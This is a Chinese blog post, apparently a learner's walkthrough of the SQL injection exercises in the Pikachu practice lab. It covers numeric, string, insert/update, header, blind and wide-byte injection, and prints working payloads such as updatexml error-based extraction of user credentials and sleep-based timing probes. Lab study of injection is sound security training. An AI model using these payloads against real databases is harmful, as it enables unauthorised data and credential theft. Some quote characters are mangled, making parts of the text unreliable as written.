时间:2021-07-01 10:21:17 帮助过:56人阅读
直接输入数字就可
正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。
那我们来抓包来测试一下 ,把传入的参数改成 1 or 1=1。
按理说应该取出了数据库中全部数据,才说明存在数字型注入漏洞。我这里不知道怎么错了,疑惑出不来数据库
因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。
我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload为:kobe‘ or 1=1#
这样我们要查的这个表中全部信息就出来了。
xxxx%‘ or 1=1#
我们输入li%‘ or 1=1#
使用payload xx‘)or 1=1# 可得
所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
使用updataxml 函数
注入payload
1‘ or updatexml(1,concat(0x7e,database()),0) or‘
得到皮卡丘的数据库名字是 pikachu
这个我还没搞明白,截图以后更~
先登录进去,在修改资料处抓包
Payload和insert注入相同:
1‘ or updatexml(1,concat(0x7e,database()),0) or‘
同样能得到皮卡丘的数据库名字是 pikachu
先进行留言 在删除的时候抓包
由于是get的类型的 在payload记得进行url编码
payload 与之前一样如下:1 or updatexml(1, concat(0x7e,database()), 0) (要进行URL编码)
开发人员为了验证客户端头信息(比如cookie验证)使用或者通过http header获取客户端的一些信息等,会对客户端的http header信息进行获取并使用SQL进行处理。
先登录
然后抓包,修改user-agent或者cookie完成注入:1‘ or updatexml(1, concat(0x7e,(select (concat_ws(‘-‘,username,password)) from pikachu.users limit 0,1) ),1) or ‘
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错,此时无法根据报错信息来进行注入的判断。这种情况下的注入,称为“盲注”。
只有加and 1=1#
才能返回个人信息,or 1=1#
报错
用函数来构造payload
lili‘ and ascii(substr(database(),1,1))=112#
lili‘ and ascii(substr(database(),1,1)>110#
lili‘ and ascii(substr(database(),1,1)<113#
112通过多次比较才能试出来
然后获取表名
test payload:
lili‘ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu‘#
然后获取字段名
lili‘ union select table_name,column_name from information_schema.columns where table_name=‘users‘#
同样的也是挨个试,这次看对错是看这个反应时间,要是可以的话就会五秒多一些。
payload:
lili’ and sleep(5)#
基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,在皮卡丘平台一,无论输入什么,前端都是显示“I don‘t care who you are!”
刚开始尝试发现注入不行,抓包发现以及进行了编码
在抓包后修改也不行
发现‘被后台转移,所以构造payload 1%df‘ or 1=1#
注入成功!!!
Pikachu-SQL注入
标签:asc 字符 pass ext header 字符型 上传 limit 验证